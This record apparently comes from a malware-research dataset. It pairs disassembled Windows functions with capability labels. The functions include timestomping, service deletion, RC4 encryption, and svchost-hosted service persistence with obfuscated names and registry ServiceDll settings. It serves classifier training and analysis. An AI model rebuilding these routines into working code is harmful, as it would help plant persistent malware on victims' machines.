joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4013e9
Capabilities:
Get common file path
Timestomp file
Write file on windows

Disassembly:
mov dword [esi + edx*4 + 2], edi
push ebp
mov ebp, esp
sub esp, 0x13c
push ebx
push esi
push edi
mov dword [ebp - 0x13c], ecx
push eax
xor eax, eax
xor eax, eax
je 0x401409
jae 0x4013a1
xor dword [eax - 0x75], ebx
inc ebp
or byte [ebx + 0x45890c40], cl
fmul dword [ebx + 0x5d845]
add al, 0
add byte [eax - 0x18], dl
or eax, 0x59000011
pop eax
mov eax, dword [ebp + 8]
mov eax, dword [eax + 0xc]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x28]
add eax, 0x400
push eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
pop ecx
mov dword [ebp - 0x134], eax
mov eax, dword [ebp - 0x134]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 8]
movzx eax, word [eax + 0x18]
mov ecx, dword [ebp + 8]
lea eax, [ecx + eax + 0x1a]
mov dword [ebp - 0x130], eax
push 0
push 0
push 0
push dword [ebp - 0xc]
push dword [ebp - 0x130]
mov ecx, dword [ebp - 0x13c]
call fcn.004010e8
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 0xffffffff
jne 0x40149f
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x138], eax
push dword [ebp - 0x138]
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
pop ecx
xor eax, eax
jmp 0x4015b1
and dword [ebp - 8], 0
push 0
lea eax, [ebp - 8]
push eax
push dword [ebp - 0x28]
push dword [ebp - 0xc]
push dword [ebp - 0x2c]
call dword [sym.imp.KERNEL32.dll_WriteFile]
cmp dword [ebp + 0x10], 0
je 0x4014f3
push 0x1044
push dword [ebp + 0x10]
call fcn.00402342
pop ecx
pop ecx
push 0
lea eax, [ebp - 8]
push eax
push 0x1044
push dword [ebp + 0x10]
push dword [ebp - 0x2c]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push 0x1044
push dword [ebp + 0x10]
call fcn.00402342
pop ecx
pop ecx
and byte [ebp - 0x12c], 0
push 0x3f
pop ecx
xor eax, eax
lea edi, [ebp - 0x12b]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0xc8
lea eax, [ebp - 0x12c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
push str._svchost.exe
lea eax, [ebp - 0x12c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
lea eax, [ebp - 0x12c]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
jne 0x401564
push dword [ebp - 0x2c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 1
pop eax
jmp 0x4015b1
and dword [ebp - 0x24], 0
xor eax, eax
Function at 0x4021a5
Capabilities:
Delete file
Write file on windows

Disassembly:
push es
pop es
add byte [eax], al
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
push eax
xor eax, eax
xor eax, eax
je 0x4021bb
jae 0x402153
xor dword [eax - 1], ebx
jne 0x4021c7
pop eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0
push 0x80
push 1
push 0
push 0
push 0x40000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xffffffff
jne 0x4021ed
xor eax, eax
jmp 0x402212
and dword [ebp - 4], 0
push 0
lea eax, [ebp - 4]
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 1
pop eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x402217
Capabilities:
Encrypt data using rc4 prga

Disassembly:
add byte [eax - 0x80], ch
add byte [eax], al
add byte [edx + 1], ch
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
push edi
push eax
xor eax, eax
xor eax, eax
je 0x40222e
jae 0x4021c6
xor dword [eax - 0x7d], ebx
cld
add bl, ch
pop es
pop eax
and dword [ebp - 4], 0
jmp 0x40223c

Function at 0x40242f
Capabilities:
Delete service
Query service status
Stop service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
push esi
push edi
push eax
xor eax, eax
xor eax, eax
je 0x402446
jae 0x4023de
xor dword [eax - 0x7d], ebx
cld
add byte [ebx + 0x6800dc65], al
aas
add byte [edi], cl
add byte [edx], ch
pop eax
and dword [ebp - 4], 0
and dword [ebp - 0x24], 0
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x40246f
push 1
pop eax
jmp 0x402522
push 0xf01ff
push dword [ebp + 8]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0
jne 0x40249a
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push 1
pop eax
jmp 0x402522
and dword [ebp - 0x20], 0
push 6
pop ecx
xor eax, eax
lea edi, [ebp - 0x1c]
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x20]
push eax
push dword [ebp - 0x24]
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
test eax, eax
jne 0x4024d0
push dword [ebp - 0x24]
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push 1
pop eax
jmp 0x402522
lea eax, [ebp - 0x20]
push eax
push 1
push dword [ebp - 0x24]
call dword [sym.imp.ADVAPI32.dll_ControlService]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push dword [ebp - 0x24]
call dword [sym.imp.ADVAPI32.dll_DeleteService]
test eax, eax
jne 0x40250d
push dword [ebp - 0x24]
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
xor eax, eax
jmp 0x402522
push dword [ebp - 0x24]
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push 1
pop eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x1000ba30
Capabilities:
Create service
Modify service
Persist via windows service

Disassembly:
push ecx
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
test eax, eax
mov dword [0x10018c40], eax
jne 0x1000ba4b
pop ecx
ret
mov ecx, dword [esp + 8]
push 0
push 0
push 0
push 0
push 0
push ecx
push 0
push 2
push 0x110
push 0xf01ff
push str.Qqhqcf_Uphjhoqv_Mfof_dfs_Hncf
push str.Jcfod_EqiagwfDkz
push eax
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
test eax, eax
mov dword [0x10018c3c], eax
jne 0x1000ba84
pop ecx
ret
mov edx, dword [0x10018c40]
push esi
push edx
call dword [sym.imp.ADVAPI32.dll_LockServiceDatabase]
mov ecx, dword [0x10018c3c]
mov esi, eax
lea eax, [esp + 4]
mov dword [esp + 4], str.SaqcuioUtf_owrot_Hjkehki_Brcndtkb_Bjw
push eax
push 1
push ecx
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfig2A]
push esi
call dword [sym.imp.ADVAPI32.dll_UnlockServiceDatabase]
mov eax, 1
pop esi
pop ecx
ret

Function at 0x1000bac0
Capabilities:
Modify service

Disassembly:
sub esp, 0x2c
push ebx
push esi
push edi
xor ebx, ebx
push 0xf003f
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov esi, eax
push 0xf003f
push str.Jcfod_EqiagwfDkz
push esi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov edi, eax
xor eax, eax
mov dword [esp + 0x10], eax
lea ecx, [esp + 0x20]
mov dword [esp + 0x14], eax
push esi
mov dword [esp + 0x1c], eax
mov dword [esp + 0x14], ebx
mov dword [esp + 0x20], eax
mov dword [esp + 0x10], 0x15180
mov dword [esp + 0x28], 0x3e8
mov dword [esp + 0x24], 1
mov dword [esp + 0x30], ebx
mov dword [esp + 0x2c], 1
mov dword [esp + 0x38], ebx
mov dword [esp + 0x34], 1
mov dword [esp + 0x1c], 3
mov dword [esp + 0x20], ecx
mov dword [esp + 0x18], ebx
call dword [sym.imp.ADVAPI32.dll_LockServiceDatabase]
lea edx, [esp + 0xc]
push edx
push 2
push edi
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfig2A]
push edi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push esi
call dword [sym.imp.ADVAPI32.dll_UnlockServiceDatabase]
pop edi
pop esi
mov eax, 1
pop ebx
add esp, 0x2c
ret
Function at 0x1000bd00
Capabilities:
Delete file
Get common file path
Persist via windows service
Set registry value

Disassembly:
sub esp, 0x364
push ebx
push ebp
push esi
push edi
mov ecx, 8
mov esi, str.SYSTEMCurrentControlSetServices_
lea edi, [esp + 0x248]
xor eax, eax
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov ecx, 0x42
lea edi, [esp + 0x26b]
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
mov edi, str.Jcfod_EqiagwfDkz
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x248]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x104
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
xor ebx, ebx
and ecx, 3
mov byte [esp + 0x80], bl
rep movsb byte es:[edi], byte [esi]
mov ecx, 0x40
lea edi, [esp + 0x81]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x80]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov edi, str.Net_Temp.ini
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x7c]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov byte [esp + 0x7f], bl
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea eax, [esp + 0x7c]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
mov esi, dword [sym.imp.KERNEL32.dll_DeleteFileA]
call esi
lea ecx, [esp + 0x7c]
lea edx, [esp + 0x248]
push ecx
push edx
call fcn.1000bc20
add esp, 8
mov ecx, 0x18
xor eax, eax
lea edi, [esp + 0x19]
mov byte [esp + 0x18], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
call dword [sym.imp.MSVCRT.dll_rand]
imul eax, eax, 0x2b67
mov ebp, dword [sym.imp.MSVCRT.dll_sprintf]
push eax
lea eax, [esp + 0x1c]
push str.SOFTWARE_d
push eax
call ebp
lea ecx, [esp + 0x88]
lea edx, [esp + 0x24]
push ecx
push edx
call fcn.1000bc80
add esp, 0x14
lea eax, [esp + 0x7c]
push eax
call esi
mov ecx, 0x31
xor eax, eax
lea edi, [esp + 0x181]
mov byte [esp + 0x180], bl
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x18]
lea edx, [esp + 0x180]
stosw word es:[edi], ax
push ecx
push str._sParameters
push edx
stosb byte es:[edi], al
call ebp
add esp, 0xc
lea eax, [esp + 0x14]
lea ecx, [esp + 0x10]
lea edx, [esp + 0x180]
push eax
push ecx
push ebx
push 0xf003f
push ebx
push ebx
push ebx
push edx
push connect
mov dword [esp + 0x38], 1
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
push str._RqmbzdlDjn_p__NawoTVwnpdlgup_bqe
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
mov eax, dword [esp + 0x14]
push str._RqmbzdlDjn_p__NawoTVwnpdlgup_bqe
push 2
push ebx
push str.ServiceDll
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, dword [esp + 0x10]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea edx, [esp + 0x7c]
lea eax, [esp + 0x18]
push edx
push eax
call fcn.1000bc20
lea ecx, [esp + 0x84]
lea edx, [esp + 0x250]
push ecx
push edx
call fcn.1000bc80
add esp, 0x10
lea eax, [esp + 0x7c]
push eax
call esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x364
ret
Function at 0x1000c1d0
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0x23c
mov ecx, 8
xor eax, eax
lea edx, [esp + 0x110]
push ebx
push esi
push edi
mov esi, str.SYSTEMCurrentControlSetServices_
lea edi, [esp + 0x11c]
push 0x30
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov ecx, 0x42
lea edi, [esp + 0x143]
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
mov edi, str.Jcfod_EqiagwfDkz
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea edx, [esp + 0x120]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str.Parameters
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, dword [sym.imp.MSVCRT.dll_putchar]
call esi
add esp, 4
lea eax, [esp + 0xc]
lea ecx, [esp + 0x11c]
push eax
push 0xf003f
push 0
push ecx
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x1000c29c
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x23c
ret
push 0x30
call esi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x1d]
mov byte [esp + 0x1c], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x1c]
add esp, 4
rep stosd dword es:[edi], eax
lea edx, [esp + 0x14]
lea eax, [esp + 0x18]
push edx
mov edx, dword [esp + 0x10]
lea ecx, [esp + 0x14]
push eax
push ecx
push 0
push str.ServiceDll
push edx
mov dword [esp + 0x28], 2
mov dword [esp + 0x2c], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov eax, dword [esp + 0xc]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [esp + 0x18]
push str._RqmbzdlDjn_p__NawoTVwnpdlgup_bqe
push ecx
call dword [sym.imp.MSVCRT.dll__stricmp]
add esp, 8
neg eax
sbb eax, eax
pop edi
pop esi
inc eax
pop ebx
add esp, 0x23c
ret
Function at 0x1000c330
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0x814
mov ecx, 0xd
lea eax, [esp]
push ebx
push ebp
push esi
push edi
mov esi, str.SOFTWAREMicrosoftWindows_NTCurrentVersionSvcHost
lea edi, [esp + 0x1c]
rep movsd dword es:[edi], dword [esi]
push eax
push 0xf003f
lea ecx, [esp + 0x24]
push 0
push ecx
push connect
movsb byte es:[edi], byte [esi]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1000c453
mov ecx, 0x1f3
lea edi, [esp + 0x55]
mov byte [esp + 0x54], al
lea edx, [esp + 0x18]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x1f4
xor eax, eax
lea edi, [esp + 0x54]
push edx
mov edx, dword [esp + 0x14]
mov dword [esp + 0x18], 7
rep stosd dword es:[edi], eax
lea eax, [esp + 0x58]
lea ecx, [esp + 0x18]
push eax
push ecx
push 0
push str.imgsvc
push edx
mov dword [esp + 0x30], 0x7d0
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x1000c448
mov eax, dword [esp + 0x10]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea edi, [esp + 0x54]
or ecx, 0xffffffff
xor eax, eax
xor ebp, ebp
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea ebx, [esp + 0x54]
mov esi, ecx
test si, si
je 0x1000c453
cmp si, 1
je 0x1000c453
push str.Jcfod_EqiagwfDkz
push ebx
call dword [sym.imp.MSVCRT.dll__stricmp]
add esp, 8
test eax, eax
je 0x1000c438
mov eax, esi
and eax, 0xffff
test si, si
lea ebx, [ebx + eax + 1]
lea ebp, [eax + ebp + 1]
je 0x1000c453
mov edi, ebx
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov esi, ecx
test si, si
jne 0x1000c3ed
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x814
ret
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x814
ret
mov ecx, dword [esp + 0x10]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x814
ret

Function at 0x1000c460
Capabilities:
Delete file
Get common file path
Query or enumerate registry value
Set registry value

Disassembly:
call fcn.1000c1d0
test eax, eax
jne 0x1000c46e
call fcn.1000bd00
call fcn.1000c330
test eax, eax
jne 0x1000c47c
jmp fcn.1000bf00
ret
Function at 0x1000ca70
Capabilities:
Check for time delay via gettickcount
Copy file
Delete file
Query environment variable
Set file attributes

Disassembly:
mov eax, dword [esp + 8]
sub esp, 0x208
cmp eax, 1
push ebx
push esi
push edi
jne 0x1000cc08
push 0x37a
push str.Jcfod_EqiagwfDkz
call fcn.1000c6b0
mov esi, dword [sym.imp.MSVCRT.dll_putchar]
push 0x30
call esi
mov ebx, dword [esp + 0x224]
add esp, 0xc
push 0x104
push 0x10018c50
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x30
call esi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x11]
mov byte [esp + 0x10], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
add esp, 4
stosb byte es:[edi], al
lea eax, [esp + 0xc]
push 0x104
push eax
push str._RqmbzdlDjn_p__NawoTVwnpdlgup_bqe
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
lea edi, [esp + 0xc]
or ecx, 0xffffffff
xor eax, eax
push str._RqmbzdlDjn_p__NawoTVwnpdlgup_bqe
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x10018c50
mov edx, ecx
mov esi, edi
mov edi, str._RqmbzdlDjn_p__NawoTVwnpdlgup_bqe
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.MSVCRT.dll__stricmp]
add esp, 8
test eax, eax
jne 0x1000cb4d
mov dword [0x10018afc], ebx
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [0x10018aec], eax
call fcn.10006ca0
pop edi
pop esi
mov eax, 1
pop ebx
add esp, 0x208
ret 0xc
push str.Glable__Wait
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push eax
call dword [sym.imp.KERNEL32.dll_SetEvent]
call fcn.10006220
push str._RqmbzdlDjn_p__NawoTVwnpdlgup_bqe
call fcn.1000b9a0
add esp, 4
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call dword [sym.imp.MSVCRT.dll_srand]
add esp, 4
push str._RqmbzdlDjn_p__NawoTVwnpdlgup_bqe
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov ecx, 0xb
mov esi, str._SystemRoot_System32_svchost.exe__k_imgsvc
lea edi, [esp + 0x110]
xor eax, eax
rep movsd dword es:[edi], dword [esi]
mov ecx, 0x36
lea edi, [esp + 0x13c]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x110]
push eax
call fcn.1000ba30
add esp, 4
call fcn.1000bd00
call fcn.1000bf00
push 0x1000
push str._RqmbzdlDjn_p__NawoTVwnpdlgup_bqe
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0
push str._RqmbzdlDjn_p__NawoTVwnpdlgup_bqe
push 0x10018c50
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push str._RqmbzdlDjn_p__NawoTVwnpdlgup_bqe
call fcn.1000c480
add esp, 4
call fcn.1000bb80
call fcn.1000bac0
pop edi
pop esi
mov eax, 1
pop ebx
add esp, 0x208
ret 0xc
Function at 0x401590
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
lea esp, [esp - 0x1034]
mov dword [esp + 0x38], eax
push eax
push ebx
push esi
push edi
mov esi, eax
mov ebx, edx
mov edi, ecx
mov eax, dword [ebp + 8]
mov dword [ebp - 0x1038], eax
mov dword [ebp - 0x1034], 0
mov eax, 1
lea edx, [ebp - 0x102c]
lea ecx, [ebp - 0x1014]
call fcn.00406030
call fcn.00407300
push eax
test eax, eax
jne 0x4016ad
lea eax, [ebp - 4]
push eax
call fcn.00401570
or eax, 0x20019
push eax
push 0
mov eax, ebx
test ebx, ebx
jne 0x4015fb
mov eax, 0x4132f0
push eax
push esi
call sub.advapi32.dll_RegOpenKeyExA
lea ebx, [ebp - 0x1008]
push 0
push 0
push ebx
push 0
mov eax, edi
test edi, edi
jne 0x40161a
mov eax, 0x4132f0
push eax
push dword [ebp - 4]
call sub.advapi32.dll_RegQueryValueExA
mov eax, dword [ebp - 0x1008]
cmp eax, 1
je 0x40164d
cmp eax, 2
je 0x40164d
push dword [ebp - 4]
call sub.advapi32.dll_RegCloseKey
mov eax, dword [ebp - 0x1038]
mov edx, 0
call fcn.004039e0
jmp 0x4016ad
mov dword [ebp - 0x1008], 0x1000
push ebx
lea eax, [ebp - 0x1004]
push eax
push 0
push 0
mov eax, edi
test edi, edi
jne 0x40166e
mov eax, 0x4132f0
push eax
push dword [ebp - 4]
call sub.advapi32.dll_RegQueryValueExA
push 1
lea eax, [ebp - 0x1034]
push eax
lea eax, [ebp - 0x1004]
mov cx, 0
mov edx, 0xfff
call fcn.00404370
mov edx, dword [ebp - 0x1034]
mov eax, dword [ebp - 0x1038]
call fcn.004039e0
push dword [ebp - 4]
call sub.advapi32.dll_RegCloseKey
call fcn.004062b0
lea eax, [ebp - 0x1034]
call fcn.004032a0
pop eax
test eax, eax
je 0x4016c7
call fcn.004063e0
pop edi
pop esi
pop ebx
leave
ret 4

Function at 0x4016d0
Capabilities:
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
lea esp, [esp - 0x10]
push ebx
push esi
push edi
mov edi, eax
mov ebx, edx
mov dword [ebp - 0x10], ecx
mov eax, dword [ebp + 8]
mov dword [ebp - 0xc], eax
lea edx, [ebp - 4]
lea eax, [ebp - 8]
mov esi, eax
push 0
push edx
push 0
call fcn.00401570
or eax, 0x2001b
push eax
push 0
push 0
push 0
mov eax, ebx
test ebx, ebx
jne 0x401710
mov eax, 0x4132f0
push eax
mov eax, edi
push eax
call sub.advapi32.dll_RegCreateKeyExA
push 0
push 0
mov eax, esi
push eax
push 0
mov eax, dword [ebp - 0x10]
test eax, eax
jne 0x40172e
mov eax, 0x4132f0
push eax
push dword [ebp - 4]
call sub.advapi32.dll_RegQueryValueExA
cmp eax, 2
je 0x401758
cmp eax, 6
je 0x401758
mov eax, dword [ebp - 8]
cmp eax, 1
je 0x40175f
cmp eax, 2
je 0x40175f
push dword [ebp - 4]
call sub.advapi32.dll_RegCloseKey
jmp 0x401799
mov dword [ebp - 8], 1
mov eax, dword [ebp - 0xc]
test eax, eax
je 0x401769
mov eax, dword [eax - 4]
push eax
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x401776
mov eax, 0x4132f0
push eax
push dword [ebp - 8]
push 0
mov eax, dword [ebp - 0x10]
test eax, eax
jne 0x401788
mov eax, 0x4132f0
push eax
push dword [ebp - 4]
call sub.advapi32.dll_RegSetValueExA
push dword [ebp - 4]
call sub.advapi32.dll_RegCloseKey
pop edi
pop esi
pop ebx
leave
ret 4
Function at 0x4017a0
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
lea esp, [esp - 0x54]
push ebx
push esi
push edi
mov ebx, eax
mov esi, edx
mov edi, ecx
push 0x44
lea eax, [ebp - 0x44]
push eax
call fcn.0040be70
push 0x10
lea eax, [ebp - 0x54]
push eax
call fcn.0040be70
lea eax, [ebp - 0x54]
push eax
lea eax, [ebp - 0x44]
push eax
test edi, edi
jne 0x4017d7
mov edi, 0x4132f0
push edi
push 0
push 0x8000000
push 0
push 0
push 0
test esi, esi
jne 0x4017ee
mov esi, 0x4132f0
push esi
mov eax, ebx
test ebx, ebx
jne 0x4017fa
mov eax, 0x4132f0
push eax
call sub.kernel32.dll_CreateProcessA
push dword [ebp - 0x50]
call sub.kernel32.dll_CloseHandle
push dword [ebp - 0x54]
call sub.kernel32.dll_CloseHandle
pop edi
pop esi
pop ebx
leave
ret

Function at 0x4019a0
Capabilities:
Reference http user-agent string

Disassembly:
push ebp
mov ebp, esp
lea esp, [esp - 0x8c]
push ebx
mov dword [ebp - 4], eax
mov dword [ebp - 0x64], 0
mov dword [ebp - 0x60], 0
mov eax, 1
lea edx, [ebp - 0x30]
lea ecx, [ebp - 0x18]
call fcn.00406030
call fcn.00407300
push eax
test eax, eax
jne 0x401ad8
mov eax, dword [ebp - 4]
mov edx, 0
call fcn.004039e0
mov eax, dword [ebp + 8]
test eax, eax
je 0x4019f4
mov eax, dword [eax - 4]
add eax, 1
mov dword [ebp - 8], eax
test eax, eax
je 0x401ad8
mov eax, 1
lea edx, [ebp - 0x58]
lea ecx, [ebp - 0x40]
call fcn.00406030
call fcn.00407300
push eax
test eax, eax
jne 0x401a90
mov eax, dword [ebp - 8]
sub eax, 1
mov ebx, eax
mov dword [ebp - 0xc], 0
cmp ebx, dword [ebp - 0xc]
jb 0x401a90
sub dword [ebp - 0xc], 1
lea esi, [esi]
add dword [ebp - 0xc], 1
push 0
lea eax, [ebp - 0x64]
call fcn.004032a0
mov eax, dword [ebp + 8]
mov edx, dword [ebp - 0xc]
lea eax, [eax + edx*4]
lea ecx, [ebp - 0x64]
mov edx, dword [eax]
test edx, edx
jne 0x401a5d
mov edx, 0x4132f0
mov eax, str.Mozilla_5.0__Windows_NT_10.0__Win64__x64__rv:59.0__Gecko_20100101_Firefox_59.0
test eax, eax
jne 0x401a6b
mov eax, 0x4132f0
call fcn.0040d740
mov eax, dword [ebp - 0x64]
lea edx, [ebp - 0x60]
call fcn.0040c930
mov ecx, dword [ebp - 0x60]
mov eax, dword [ebp - 4]
mov edx, dword [eax]
mov eax, dword [ebp - 4]
call fcn.00403ae0
cmp ebx, dword [ebp - 0xc]
ja 0x401a38
call fcn.004062b0
pop eax
test eax, eax
je 0x401ad8
mov eax, 1
lea edx, [ebp - 0x88]
lea ecx, [ebp - 0x70]
call fcn.00406030
call fcn.00407300
push eax
test eax, eax
jne 0x401ac4
mov eax, dword [ebp - 4]
mov edx, 0
call fcn.004039e0
call fcn.004062b0
pop eax
test eax, eax
je 0x401ad3
call fcn.00406490
call fcn.00406480
call fcn.004062b0
lea eax, [ebp - 0x64]
call fcn.004032a0
lea eax, [ebp - 0x60]
call fcn.004032a0
pop eax
test eax, eax
je 0x401af7
call fcn.004063e0
pop ebx
leave
ret 4